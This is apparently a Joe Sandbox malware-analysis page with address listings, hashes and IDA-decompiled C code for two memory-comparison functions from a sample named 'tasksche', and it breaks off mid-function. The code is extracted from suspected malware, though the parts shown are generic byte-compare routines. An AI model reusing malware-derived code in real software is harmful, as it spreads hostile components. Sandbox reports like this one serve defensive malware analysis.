0x00000000
0x00000000
0x00000000
0x0041c0e1
0x0041c044
0x0041c046
0x0041c05d
0x0041c065
0x0041c067
0x0041c07e
0x0041c086
0x0041c088
0x0041c09f
0x0041c0a7
0x0041c0a9
0x0041c0b6
0x0041c0b6
0x00000000
0x0041c0a9
0x0041c095
0x0041c099
0x00000000
0x00000000
0x00000000
0x0041c099
0x0041c074
0x0041c078
0x00000000
0x00000000
0x00000000
0x0041c078
0x0041c053
0x0041c057
0x00000000
0x00000000
0x00000000
0x0041c057
0x0041bfb5
0x0041bfb7
0x0041bfce
0x0041bfd6
0x0041bfd8
0x0041bfef
0x0041bff7
0x0041bff9
0x0041c010
0x0041c018
0x0041c01a
0x0041c027
0x0041c027
0x00000000
0x0041c01a
0x0041c006
0x0041c00a
0x00000000
0x00000000
0x00000000
0x0041c00a
0x0041bfe5
0x0041bfe9
0x00000000
0x00000000
0x00000000
0x0041bfe9
0x0041bfc4
0x0041bfc8
0x00000000
0x00000000
0x00000000
0x0041bfc8
0x0041bf26
0x0041bf28
0x0041bf3f
0x0041bf47
0x0041bf49
0x0041bf60
0x0041bf68
0x0041bf6a
0x0041bf81
0x0041bf89
0x0041bf8b
0x0041bf98
0x0041bf98
0x00000000
0x0041bf8b
0x0041bf77
0x0041bf7b
0x00000000
0x00000000
0x00000000
0x0041bf7b
0x0041bf56
0x0041bf5a
0x00000000
0x00000000
0x00000000
0x0041bf5a
0x0041bf35
0x0041bf39
0x00000000
0x00000000
0x00000000
0x0041bf39
0x0041be96
0x0041be98
0x0041beaf
0x0041beb7
0x0041beb9
0x0041bed0
0x0041bed8
0x0041beda
0x0041bef1
0x0041bef9
0x0041befb
0x0041bf08
0x0041bf08
0x00000000
0x0041befb
0x0041bee7
0x0041beeb
0x00000000
0x00000000
0x00000000
0x0041beeb
0x0041bec6
0x0041beca
0x00000000
0x00000000
0x00000000
0x0041beca
0x0041bea5
0x0041bea9
0x00000000
0x00000000
0x00000000
0x0041bea9
0x0041be07
0x0041be09
0x0041be20
0x0041be28
0x0041be2a
0x0041be41
0x0041be49
0x0041be4b
0x0041be62
0x0041be6a
0x0041be6c
0x0041be79
0x0041be79
0x00000000
0x0041be6c
0x0041be58
0x0041be5c
0x00000000
0x00000000
0x00000000
0x0041be5c
0x0041be37
0x0041be3b
0x00000000
0x00000000
0x00000000
0x0041be3b
0x0041be16
0x0041be1a
0x00000000
0x00000000
0x00000000
0x0041be1a
0x0041bd78
0x0041bd7a
0x0041bd91
0x0041bd99
0x0041bd9b
0x0041bdb2
0x0041bdba
0x0041bdbc
0x0041bdd3
0x0041bddb
0x0041bddd
0x0041bdea
0x0041bdea
0x00000000
0x0041bddd
0x0041bdc9
0x0041bdcd
0x00000000
0x00000000
0x00000000
0x0041bdcd
0x0041bda8
0x0041bdac
0x00000000
0x00000000
0x00000000
0x0041bdac
0x0041bd87
0x0041bd8b
0x00000000
0x00000000
0x00000000
0x0041bce1
0x0041bce1
0x0041bce5
0x0041bce9
0x0041bceb
0x0041bd02
0x0041bd02
0x0041bd06
0x0041bd0a
0x0041bd0c
0x0041bd23
0x0041bd23
0x0041bd27
0x0041bd2b
0x0041bd2d
0x0041bd44
0x0041bd44
0x0041bd48
0x0041bd4c
0x0041bd4e
0x0041bd54
0x0041bd57
0x0041bd5b
0x0041bd5b
0x00000000
0x0041bd4e
0x0041bd33
0x0041bd36
0x0041bd3a
0x0041bd3e
0x00000000
0x00000000
0x00000000
0x0041bd3e
0x0041bd12
0x0041bd15
0x0041bd19
0x0041bd1d
0x00000000
0x00000000
0x00000000
0x0041bd1d
0x0041bcf1
0x0041bcf4
0x0041bcf8
0x0041bcfc
0x00000000
0x00000000
0x00000000
0x0041bcfc
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: fa64fecedd4ee0fbc6ebc6d5fd45eff142ec883d8ec5514f9c97111b8272a84e
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 93D18E73C0E9B34A8735812D84582BBEE62AFD175031EC3E2DCE42F389D62B5D9196D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B8B9 Relevance: .4, Instructions: 378
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B8B9(void* __eax, void* __ecx) {
				void* _t191;
				signed int _t192;
				void* _t195;
				signed char _t201;
				signed char _t202;
				signed char _t203;
				signed char _t204;
				signed char _t206;
				signed int _t211;
				signed int _t309;
				void* _t312;
				void* _t314;
				void* _t316;
				void* _t318;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t328;
				void* _t330;
				void* _t332;
				void* _t335;
				void* _t337;
				void* _t339;
				void* _t342;
				void* _t344;
				void* _t346;
				void* _t349;
				void* _t351;
				void* _t353;

				_t195 = __ecx;
				_t191 = __eax;
				if( *((intOrPtr*)(__eax - 0x1e)) ==  *((intOrPtr*)(__ecx - 0x1e))) {
					_t309 = 0;
					L15:
					if(_t309 != 0) {
						goto L1;
					}
					_t201 =  *(_t191 - 0x1a);
					if(_t201 ==  *(_t195 - 0x1a)) {
						_t309 = 0;
						L26:
						if(_t309 != 0) {
							goto L1;
						}
						_t202 =  *(_t191 - 0x16);
						if(_t202 ==  *(_t195 - 0x16)) {
							_t309 = 0;
							L37:
							if(_t309 != 0) {
								goto L1;
							}
							_t203 =  *(_t191 - 0x12);
							if(_t203 ==  *(_t195 - 0x12)) {
								_t309 = 0;
								L48:
								if(_t309 != 0) {
									goto L1;
								}
								_t204 =  *(_t191 - 0xe);
								if(_t204 ==  *(_t195 - 0xe)) {
									_t309 = 0;
									L59:
									if(_t309 != 0) {
										goto L1;
									}
									if( *(_t191 - 0xa) ==  *(_t195 - 0xa)) {
										_t309 = 0;
										L70:
										if(_t309 != 0) {
											goto L1;
										}
										_t206 =  *(_t191 - 6);
										if(_t206 ==  *(_t195 - 6)) {
											_t309 = 0;
											L81:
											if(_t309 != 0) {
												goto L1;
											}
											if( *(_t191 - 2) ==  *(_t195 - 2)) {
												_t192 = 0;
												L3:
												return _t192;
											}
											_t312 = ( *(_t191 - 2) & 0x000000ff) - ( *(_t195 - 2) & 0x000000ff);
											if(_t312 == 0) {
												L4:
												_t192 = ( *(_t191 - 1) & 0x000000ff) - ( *(_t195 - 1) & 0x000000ff);
												if(_t192 != 0) {
													_t192 = (0 | _t192 > 0x00000000) + (0 | _t192 > 0x00000000) - 1;
												}
												goto L3;
											}
											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x0041b8b9
0x0041b8b9
0x0041b8bf
0x0041b93e
0x0041b940
0x0041b942
0x00000000
0x00000000
0x0041b948
0x0041b94e
0x0041b9cd
0x0041b9cf
0x0041b9d1
0x00000000
0x00000000
0x0041b9d7
0x0041b9dd
0x0041ba5c
0x0041ba5e
0x0041ba60
0x00000000
0x00000000
0x0041ba66
0x0041ba6c
0x0041baeb
0x0041baed
0x0041baef
0x00000000
0x00000000
0x0041baf5
0x0041bafb
0x0041bb7a
0x0041bb7c
0x0041bb7e
0x00000000
0x00000000
0x0041bb8a
0x0041bc0a
0x0041bc0c
0x0041bc0e
0x00000000
0x00000000
0x0041bc14
0x0041bc1a
0x0041bc99
0x0041bc9b
0x0041bc9d
0x00000000
0x00000000
0x0041bcab
0x0041b4a5
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x00000000
0x0041b8a1
0x0041bcc8
0x0041bcce
0x0041c0e7
0x00000000
0x0041c0e7
0x00000000
0x0041bcd4
0x0041bc23
0x0041bc25
0x0041bc3c
0x0041bc44
0x0041bc46
0x0041bc5d
0x0041bc65
0x0041bc67
0x0041bc7e
0x0041bc86
0x0041bc88
0x0041bc95
0x0041bc95
0x00000000
0x0041bc88
0x0041bc74
0x0041bc78
0x00000000
0x00000000
0x00000000
0x0041bc78
0x0041bc53
0x0041bc57
0x00000000
0x00000000
0x00000000
0x0041bc57
0x0041bc32
0x0041bc36
0x00000000
0x00000000
0x00000000
0x0041bc36
0x0041bb94
0x0041bb96
0x0041bbad
0x0041bbb5
0x0041bbb7
0x0041bbce
0x0041bbd6
0x0041bbd8
0x0041bbef
0x0041bbf7
0x0041bbf9
0x0041bc06
0x0041bc06
0x00000000
0x0041bbf9
0x0041bbe5
0x0041bbe9
0x00000000
0x00000000
0x00000000
0x0041bbe9
0x0041bbc4
0x0041bbc8
0x00000000
0x00000000
0x00000000
0x0041bbc8
0x0041bba3
0x0041bba7
0x00000000
0x00000000
0x00000000
0x0041bba7
0x0041bb04
0x0041bb06
0x0041bb1d
0x0041bb25
0x0041bb27
0x0041bb3e
0x0041bb46
0x0041bb48
0x0041bb5f
0x0041bb67
0x0041bb69
0x0041bb76
0x0041bb76
0x00000000
0x0041bb69
0x0041bb55
0x0041bb59
0x00000000
0x00000000
0x00000000
0x0041bb59
0x0041bb34
0x0041bb38
0x00000000
0x00000000
0x00000000
0x0041bb38
0x0041bb13
0x0041bb17
0x00000000
0x00000000
0x00000000
0x0041bb17
0x0041ba75
0x0041ba77
0x0041ba8e
0x0041ba96
0x0041ba98
0x0041baaf
0x0041bab7
0x0041bab9
0x0041bad0
0x0041bad8
0x0041bada
0x0041bae7
0x0041bae7
0x00000000
0x0041bada
0x0041bac6
0x0041baca
0x00000000
0x00000000
0x00000000
0x0041baca
0x0041baa5
0x0041baa9
0x00000000
0x00000000
0x00000000
0x0041baa9
0x0041ba84
0x0041ba88
0x00000000
0x00000000
0x00000000
0x0041ba88
0x0041b9e6
0x0041b9e8
0x0041b9ff
0x0041ba07
0x0041ba09
0x0041ba20
0x0041ba28
0x0041ba2a
0x0041ba41
0x0041ba49
0x0041ba4b
0x0041ba58
0x0041ba58
0x00000000
0x0041ba4b
0x0041ba37
0x0041ba3b
0x00000000
0x00000000
0x00000000
0x0041ba3b
0x0041ba16
0x0041ba1a
0x00000000
0x00000000
0x00000000
0x0041ba1a
0x0041b9f5
0x0041b9f9
0x00000000
0x00000000
0x00000000
0x0041b9f9
0x0041b957
0x0041b959
0x0041b970
0x0041b978
0x0041b97a
0x0041b991
0x0041b999
0x0041b99b
0x0041b9b2
0x0041b9ba
0x0041b9bc
0x0041b9c9
0x0041b9c9
0x00000000
0x0041b9bc
0x0041b9a8
0x0041b9ac
0x00000000
0x00000000
0x00000000
0x0041b9ac
0x0041b987
0x0041b98b
0x00000000
0x00000000
0x00000000
0x0041b98b
0x0041b966
0x0041b96a
0x00000000
0x00000000
0x00000000
0x0041b8c1
0x0041b8c1
0x0041b8c4
0x0041b8c8
0x0041b8ca
0x0041b8e1
0x0041b8e1
0x0041b8e5
0x0041b8e9
0x0041b8eb
0x0041b902
0x0041b902
0x0041b906
0x0041b90a
0x0041b90c
0x0041b923
0x0041b923
0x0041b927
0x0041b92b
0x0041b92d
0x0041b933
0x0041b936
0x0041b93a
0x0041b93a
0x00000000
0x0041b92d
0x0041b912
0x0041b915
0x0041b919
0x0041b91d
0x00000000
0x00000000
0x00000000
0x0041b91d
0x0041b8f1
0x0041b8f4
0x0041b8f8
0x0041b8fc
0x00000000
0x00000000
0x00000000
0x0041b8fc
0x0041b8d0
0x0041b8d3
0x0041b8d7
0x0041b8db
0x00000000
0x00000000
0x00000000
0x0041b8db
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 1a9104bdc18b99a6bc3a57d880f0b00b8efb4b2948f4f82757f4a36a4691901f
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 8DD18E73D1E9B30A8735812D80682ABEE62AFD175031EC3E2DCE42F389D72B5D9195D4

Uniqueness

Uniqueness Score: -1.00%

Function 0041B4AD Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041B4AD(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
